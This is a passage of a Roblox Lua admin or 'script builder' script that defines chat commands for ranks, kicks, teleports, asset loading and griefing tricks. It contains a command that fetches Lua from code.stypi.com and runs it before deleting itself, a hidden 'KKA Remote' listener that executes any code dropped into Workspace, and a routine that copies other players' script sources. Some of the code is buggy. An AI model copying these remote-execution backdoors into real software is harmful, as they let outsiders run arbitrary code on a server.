| 14700 | Command("Cred", 1, "Credits", function(Msg, Speaker)
| |
| 14701 | Dismiss(Speaker) | |
| 14702 | Output("MasterKelvinVIP", Speaker, nil, nil, Database.Colors.Pink, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
| |
| 14703 | Output("Cobalt1164", Speaker, nil, nil, Database.Colors.Purple, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164")
| |
| 14704 | Output("Optiplex123", Speaker, nil, nil, Database.Colors.Yellow, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=optiplex123")
| |
| 14705 | Output("Aleksa12432", Speaker, nil, nil, Database.Colors.Blue, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=aleksa12432")
| |
| 14706 | Output("Flipflop8421", Speaker, nil, nil, Database.Colors.Green, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
| |
| 14707 | Output("Waitex", Speaker, nil, nil, Database.Colors.Red, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=W8X")
| |
| 14708 | end) | |
| 14709 | Command("Dsb", 7, "Disables everyone's SB", function(Msg, Speaker)
| |
| 14710 | Dismiss(Speaker) | |
| 14711 | NewS(ReSB, game.Workspace) | |
| 14712 | Output("Disabled everyone's SB",Speaker,nil)
| |
| 14713 | end) | |
| 14714 | Command("Plrs", 1, "Brings up the players selection", function(Msg, Speaker)
| |
| 14715 | ListPlayers(Speaker,Msg~="debug") | |
| 14716 | end) | |
| 14717 | Command("Exe", 5, "Executes a script", function(Msg, Speaker)
| |
| 14718 | local Func,Error = loadstring(Msg) | |
| 14719 | getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn, Speaker) end
| |
| 14720 | getfenv(Func).Speaker = Speaker | |
| 14721 | if Error == nil then | |
| 14722 | coroutine.wrap(function() | |
| 14723 | Func() | |
| 14724 | end)() | |
| 14725 | Output("Command Executed", Speaker, 5)
| |
| 14726 | else | |
| 14727 | Output(Error, Speaker, 10) | |
| 14728 | end | |
| 14729 | end) | |
| 14730 | Command("Ping", 1, "Pings a message", function(Msg, Speaker)
| |
| 14731 | Output(Msg, Speaker) | |
| 14732 | end) | |
| 14733 | Command("Ping2", 1, "Pings a Teal message", function(Msg, Speaker)
| |
| 14734 | Output(Msg, Speaker,nil,nil,Database.Colors.Aqua) | |
| 14735 | end) | |
| 14736 | Command("Ping3", 1, "Pings a Lime message", function(Msg, Speaker)
| |
| 14737 | Output(Msg, Speaker,nil,nil,Database.Colors.Green) | |
| 14738 | end) | |
| 14739 | Command("Ping4", 1, "Pings a Yellow message", function(Msg, Speaker)
| |
| 14740 | Output(Msg, Speaker,nil,nil,Database.Colors.Yellow) | |
| 14741 | end) | |
| 14742 | ||
| 14743 | Command("Ping5", 1, "Pings a Magenta message", function(Msg, Speaker)
| |
| 14744 | Output(Msg, Speaker,nil,nil,Database.Colors.CustomMagenta) | |
| 14745 | end) | |
| 14746 | Command("Ping6", 1, "Pings a PinkRed message", function(Msg, Speaker)
| |
| 14747 | Output(Msg, Speaker,nil,nil,Database.Colors.PinkRed) | |
| 14748 | end) | |
| 14749 | Command("Ping7", 1, "Pings a Blue message", function(Msg, Speaker)
| |
| 14750 | Output(Msg, Speaker,nil,nil,Database.Colors.Blue) | |
| 14751 | end) | |
| 14752 | Command("Ping8", 1, "Pings a Red message", function(Msg, Speaker)
| |
| 14753 | Output(Msg, Speaker,nil,nil,Database.Colors.Red) | |
| 14754 | end) | |
| 14755 | ||
| 14756 | ||
| 14757 | Command("Ping9", 1, "Pings a Red message", function(Msg, Speaker)
| |
| 14758 | Output(Msg, Speaker,nil,nil,Database.AdvancedColors.Random) | |
| 14759 | end) | |
| 14760 | ||
| 14761 | Command("Test", 1, "Tests if the admin is working", function(Msg, Speaker)
| |
| 14762 | Dismiss(Speaker) | |
| 14763 | ypcall(function() | |
| 14764 | Output("Still works",Speaker,5)
| |
| 14765 | end) | |
| 14766 | end) | |
| 14767 | Command("Setrank", 7, "Set's a players rank", function(Msg, Speaker)
| |
| 14768 | local Split = GetSplit(Msg) | |
| 14769 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 14770 | local Rank = tonumber(Msg:sub(Split + 1)) | |
| 14771 | if #PlrTab > 0 then | |
| 14772 | for _,v in pairs(PlrTab) do | |
| 14773 | if v.Name ~= Owner then | |
| 14774 | ChangeRank(v, Rank) | |
| 14775 | Output("Changed "..v.Name.."'s rank to "..tostring(Rank), Speaker, 5)
| |
| 14776 | end | |
| 14777 | end | |
| 14778 | end | |
| 14779 | end) | |
| 14780 | Command("FilterAdd", 7, "Adds a word to crash words table", function(Msg, Speaker)
| |
| 14781 | table.insert(CrashWords, tostring(Msg)) | |
| 14782 | end) | |
| 14783 | Command("TpToPlace", 7, "Teleports a player to a place", function(Msg, Speaker)
| |
| 14784 | local Split = GetSplit(Msg) | |
| 14785 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 14786 | local Id = tonumber(Msg:sub(Split + 1)) | |
| 14787 | if #PlrTab > 0 then | |
| 14788 | for _,v in pairs(PlrTab) do | |
| 14789 | if v.Name ~= Owner then | |
| 14790 | game:service'TeleportService':Teleport(Id,v.Character) | |
| 14791 | Output("Teleported "..v.Name.." to place Id :"..tonumber(Id), Speaker, 5)
| |
| 14792 | end | |
| 14793 | end | |
| 14794 | end | |
| 14795 | end) | |
| 14796 | Command("Hat", 7, "Loads a hat to a player", function(Msg, Speaker)
| |
| 14797 | local Split = GetSplit(Msg) | |
| 14798 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 14799 | local Id = tonumber(Msg:sub(Split + 1)) | |
| 14800 | local Insert3 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
| 14801 | if #PlrTab > 0 then | |
| 14802 | for _,v in pairs(PlrTab) do | |
| 14803 | if v.Name ~= Owner then | |
| 14804 | if Insert3:IsA("Hat") then
| |
| 14805 | Insert3.Parent = v.Character | |
| 14806 | if Insert3:IsA("Model") then
| |
| 14807 | Insert3.Parent = v.Character | |
| 14808 | end | |
| 14809 | end | |
| 14810 | end | |
| 14811 | end | |
| 14812 | end | |
| 14813 | end) | |
| 14814 | Command("Gear", 7, "Loads a gear to a player", function(Msg, Speaker)
| |
| 14815 | local Split = GetSplit(Msg) | |
| 14816 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 14817 | local Id = tonumber(Msg:sub(Split + 1)) | |
| 14818 | local Insert4 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
| 14819 | if #PlrTab > 0 then | |
| 14820 | for _,v in pairs(PlrTab) do | |
| 14821 | if v.Name ~= Owner then | |
| 14822 | if Insert4:IsA("Tool") then
| |
| 14823 | Insert4.Parent = v.Backpack | |
| 14824 | if Insert4:IsA("Model"):GetChildren():IsA("Tool") then
| |
| 14825 | Insert4:GetChildren():IsA("Tool").Parent = v.Backpack
| |
| 14826 | end | |
| 14827 | end | |
| 14828 | end | |
| 14829 | end | |
| 14830 | end | |
| 14831 | end) | |
| 14832 | Command("GetInfo", 1, "Gets a player's information", function(Msg, Speaker)
| |
| 14833 | ||
| 14834 | local PlrTab = getPlayer(Speaker,Msg) | |
| 14835 | if #PlrTab > 0 then | |
| 14836 | for _,v in pairs(PlrTab) do | |
| 14837 | Output("Name: "..v.Name, Speaker)
| |
| 14838 | Output("Age: "..v.AccountAge, Speaker)
| |
| 14839 | Output("Id: "..v.userId, Speaker)
| |
| 14840 | Output("DataComplexity: "..v.DataComplexity, Speaker)
| |
| 14841 | Output("NameDisplayDistance: "..v.NameDisplayDistance, Speaker)
| |
| 14842 | Output("HealthDisplayDistance: "..v.HealthDisplayDistance, Speaker)
| |
| 14843 | Output("Character: "..v.Character.Name, Speaker)
| |
| 14844 | Output("Camera Max: "..v.CameraMaxZoomDistance, Speaker)
| |
| 14845 | Output("Camera Min: "..v.CameraMinZoomDistance, Speaker)
| |
| 14846 | Output("Character Appearance: "..v.CharacterAppearance, Speaker)
| |
| 14847 | Output("Clan Tag: "..v.ClanTag, Speaker)
| |
| 14848 | end | |
| 14849 | end | |
| 14850 | end) | |
| 14851 | Command("LoadM", 7, "Loads a model into workspace", function(Msg, Speaker)
| |
| 14852 | local Insert = game:service'InsertService':LoadAsset(tonumber(Id)) | |
| 14853 | if Insert:IsA("Model") then
| |
| 14854 | Insert.Parent = game.Workspace | |
| 14855 | if Insert:IsA("Part") then
| |
| 14856 | Insert.Parent = game.Workspace | |
| 14857 | if Insert:IsA("Script") then
| |
| 14858 | Insert:Remove() | |
| 14859 | end | |
| 14860 | end | |
| 14861 | end | |
| 14862 | end) | |
| 14863 | Command("LoadS", 7, "Loads a script into workspace", function(Msg, Speaker)
| |
| 14864 | local Insert2 = game:service'InsertService':LoadAsset(tonumber(Id)) | |
| 14865 | if Insert2:IsA("Model") then
| |
| 14866 | Insert2:Remove() | |
| 14867 | if Insert2:IsA("Part") then
| |
| 14868 | Insert2:Remove() | |
| 14869 | if Insert2:IsA("Script") then
| |
| 14870 | Insert2.Parent = game.Workspace | |
| 14871 | if Insert2:IsA("LocalScript") then
| |
| 14872 | Insert2.Parent = game.Workspace | |
| 14873 | if Insert2:IsA("ModuleScript") then
| |
| 14874 | Insert2:Remove() | |
| 14875 | end | |
| 14876 | end | |
| 14877 | end | |
| 14878 | end | |
| 14879 | end | |
| 14880 | end) | |
| 14881 | Command("Bod", 7, "Adds a brick of death", function(Msg, Speaker)
| |
| 14882 | local br = Instance.new("Part", game.Workspace)
| |
| 14883 | br.Locked = true | |
| 14884 | br.Touched:connect(function(part) | |
| 14885 | local bo = Instance.new("Explosion", part)
| |
| 14886 | bo.Position = part.Position | |
| 14887 | bo.BlastRadius = 40 | |
| 14888 | end) | |
| 14889 | end) | |
| 14890 | Command("Rbod", 7, "Repeatidily creates brick of deaths.", function(Msg, Speaker)
| |
| 14891 | repeat | |
| 14892 | wait(2) | |
| 14893 | local br = Instance.new("Part", game.Workspace)
| |
| 14894 | br.Locked = true | |
| 14895 | br.Touched:connect(function(part) | |
| 14896 | local bo = Instance.new("Explosion", br)
| |
| 14897 | bo.Position = br.Position | |
| 14898 | bo.BlastRadius = 40 | |
| 14899 | end) | |
| 14900 | wait(2) | |
| 14901 | until | |
| 14902 | game:GetService("Lighting").FogEnd == 1
| |
| 14903 | end) | |
| 14904 | Command("CheckSource", 1, "Checks Source", function(Msg, Speaker)
| |
| 14905 | Dismiss() | |
| 14906 | Output("Source Name: "..SourceName, Speaker, 5)
| |
| 14907 | end | |
| 14908 | ) | |
| 14909 | ||
| 14910 | Command("FSource", 7, "Finds the source of the script builder", function(Msg,Speaker)
| |
| 14911 | coroutine.wrap(function() | |
| 14912 | while wait() do | |
| 14913 | if LSource ~= nil then break end | |
| 14914 | if SourceName == "source" then break end | |
| 14915 | for _,v in pairs(game.Players:players()) do | |
| 14916 | if LSource ~= nil then break end | |
| 14917 | pcall(function() | |
| 14918 | for j,k in pairs(v.Backpack:children()) do | |
| 14919 | if LSource ~= nil then break end | |
| 14920 | if k.ClassName == 'LocalScript' then | |
| 14921 | if k:findFirstChild(SourceName) ~= nil then | |
| 14922 | k.Archivable = true | |
| 14923 | LSource = k:Clone() | |
| 14924 | LSource.Disabled = true | |
| 14925 | Output("Source found",Seaker,5)
| |
| 14926 | break | |
| 14927 | end | |
| 14928 | end | |
| 14929 | wait() | |
| 14930 | end | |
| 14931 | for j,k in pairs(v.Character:children()) do | |
| 14932 | if LSource ~= nil then break end | |
| 14933 | if k.ClassName == 'LocalScript' then | |
| 14934 | if k:findFirstChild(SourceName) ~= nil then | |
| 14935 | k.Archivable = true | |
| 14936 | LSource = k:Clone() | |
| 14937 | LSource.Disabled = true | |
| 14938 | Output("Source found",Speaker,5)
| |
| 14939 | break | |
| 14940 | end | |
| 14941 | end | |
| 14942 | wait() | |
| 14943 | end | |
| 14944 | end) | |
| 14945 | end | |
| 14946 | end | |
| 14947 | end)() | |
| 14948 | end) | |
| 14949 | ||
| 14950 | Command("Hload", 7, "Creates a HttpService script", function(Msg, Speaker)
| |
| 14951 | local Split = GetSplit(Msg) | |
| 14952 | local Person = tostring(Msg:sub(Split - 1)) | |
| 14953 | local Stypi = tostring(Msg:sub(Split + 1)) | |
| 14954 | NewS([[ | |
| 14955 | a,b = pcall(function() | |
| 14956 | h = game:service'HttpService' | |
| 14957 | link = 'https://code.stypi.com/raw/]]..Person..[[/]]..Stypi..[[.lua' | |
| 14958 | scr = h:GetAsync(link,true) | |
| 14959 | loadstring(scr)() | |
| 14960 | script.Parent:Remove() | |
| 14961 | script:Remove() | |
| 14962 | end) if not a then Instance.new("Hint",workspace).Text = b end
| |
| 14963 | ]], game.Workspace) | |
| 14964 | end) | |
| 14965 | ||
| 14966 | Command("KKAR", 7, "Removes The Admin", function(Msg, Speaker)
| |
| 14967 | Dismiss() | |
| 14968 | Removed = true | |
| 14969 | for i,v in pairs(getfenv(1)) do | |
| 14970 | getfenv(1)[i] = nil | |
| 14971 | end | |
| 14972 | script.Disabled = true | |
| 14973 | end) | |
| 14974 | end) | |
| 14975 | ||
| 14976 | ||
| 14977 | ||
| 14978 | ||
| 14979 | ||
| 14980 | ||
| 14981 | Command("Shutdown", 3, "Shuts the server down", function(Msg, Speaker)
| |
| 14982 | Dismiss() | |
| 14983 | SystemMsg("Shutting down server...")
| |
| 14984 | wait(6) | |
| 14985 | SystemMsg("The shutdown command has been used!")
| |
| 14986 | wait(6) | |
| 14987 | SystemMsg("The server will shutdown in 5 seconds!")
| |
| 14988 | wait(6) | |
| 14989 | SystemMsg("4!")
| |
| 14990 | wait(6) | |
| 14991 | SystemMsg("Hold on,Door's ringing.")
| |
| 14992 | wait(6) | |
| 14993 | SystemMsg("That was a bummer,I forgot to eat my taco.")
| |
| 14994 | wait(6) | |
| 14995 | SystemMsg("Delishous!")
| |
| 14996 | wait(6) | |
| 14997 | SystemMsg("Wait, what second was i on again?")
| |
| 14998 | wait(6) | |
| 14999 | SystemMsg("Oh right, 5 seconds.")
| |
| 15000 | wait(6) | |
| 15001 | SystemMsg("Hold on, I just woke up and i need to eat pancakes.")
| |
| 15002 | wait(6) | |
| 15003 | SystemMsg("There we go! Full on breakfeast!")
| |
| 15004 | wait(6) | |
| 15005 | SystemMsg("Shutting down the server in 4 seconds.")
| |
| 15006 | wait(6) | |
| 15007 | SystemMsg("Naw, I'm tried ,so i'll just take a nap.")
| |
| 15008 | wait(6) | |
| 15009 | SystemMsg("*Hears explosions*")
| |
| 15010 | wait(6) | |
| 15011 | SystemMsg("OMG NOOBS ARE BLOWING UP MY HOUSE!")
| |
| 15012 | wait(6) | |
| 15013 | SystemMsg("X_X")
| |
| 15014 | wait(6) | |
| 15015 | SystemMsg("Wait i came back to life..")
| |
| 15016 | wait(6) | |
| 15017 | SystemMsg("NEVERMIND!!!")
| |
| 15018 | wait(6) | |
| 15019 | SystemMsg("Noob:I EXPLODE HOUSE! DIE!")
| |
| 15020 | wait(6) | |
| 15021 | SystemMsg("Police:Your arrested noob!")
| |
| 15022 | wait(6) | |
| 15023 | Output("The shutdown failed,",Speaker,5)
| |
| 15024 | end) | |
| 15025 | local con = game:service'Workspace'.descendantAdded:connect(function(asd) | |
| 15026 | if asd.ClassName == 'StringValue' then | |
| 15027 | if asd.Name == 'LolCon' then | |
| 15028 | local k = asd.Value:find('\31')
| |
| 15029 | local plr = asd.Value:sub(1,tonumber(k)-1) | |
| 15030 | local msg = asd.Value:sub(tonumber(k)+1) | |
| 15031 | onChatted(plr,msg) | |
| 15032 | elseif asd.Name == "KKA Remote" then | |
| 15033 | local func = loadstring(asd.Value) | |
| 15034 | if func then asd:Destroy() return pcall(func) end | |
| 15035 | end asd:Destroy() | |
| 15036 | end | |
| 15037 | end) | |
| 15038 | Chats[#Chats+1] = con | |
| 15039 | game.Workspace.descendantAdded:connect(function(a) | |
| 15040 | if a.ClassName == 'Script' then | |
| 15041 | if ScriptingLocked and a.Name ~= "0" then | |
| 15042 | a.Disabled = true a:Destroy() | |
| 15043 | end | |
| 15044 | end | |
| 15045 | end) | |
| 15046 | while wait() do | |
| 15047 | for _,v in pairs (game.Players:players()) do | |
| 15048 | v.Backpack.descendentAdded:connect(function(a2) | |
| 15049 | if a.ClassName == 'LocalScript' then | |
| 15050 | if ScriptingLocked and a.Name ~= "0" then | |
| 15051 | a2.Disabled = true | |
| 15052 | a2:remove() | |
| 15053 | end | |
| 15054 | end | |
| 15055 | end) | |
| 15056 | end | |
| 15057 | end | |
| 15058 | coroutine.wrap(function() | |
| 15059 | while wait() do | |
| 15060 | for _,v in pairs (game.Players:players()) do | |
| 15061 | if v.Backpack then | |
| 15062 | Connect(v) | |
| 15063 | Output(v.Name.." has joined the server", Speaker) | |
| 15064 | elseif Priv == true and not v.Name:match("^[Ee]insteinK$") then
| |
| 15065 | if FindRank(v) < 1 then | |
| 15066 | Output(v.Name.." has been kicked due to private server", Speaker) | |
| 15067 | wait(1) | |
| 15068 | v:Kick() | |
| 15069 | end | |
| 15070 | end | |
| 15071 | end | |
| 15072 | end | |
| 15073 | end) | |
| 15074 | game.Players.PlayerAdded:connect(function(hi) | |
| 15075 | for _,v in pairs(game:service'Players'.Parent.Players:children()) do | |
| 15076 | if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then | |
| 15077 | pcall(function() Output("Connected: "..tostring(hi),v,3) end)
| |
| 15078 | end | |
| 15079 | end | |
| 15080 | end) | |
| 15081 | game:service'Players'.PlayerAdded:connect(function() | |
| 15082 | for _,v in pairs (game.Players:players()) do | |
| 15083 | for _,w in pairs (CrashWords) do | |
| 15084 | v.Chatted:Connect(function(Msg) | |
| 15085 | if CrashPhrases == true then | |
| 15086 | if Msg == tostring(w) and FindRank(v.Name) <= 3 and not v.Name:match("^[Ee]insteinK$") then
| |
| 15087 | Output("Player ["..v.Name.."] has been kicked for saying "..w, Speaker, 5)
| |
| 15088 | v:Kick() | |
| 15089 | end | |
| 15090 | end | |
| 15091 | end) | |
| 15092 | end | |
| 15093 | end | |
| 15094 | end) | |
| 15095 | game:service'RunService'.Stepped:connect(UpdateNilPlayerTablets) |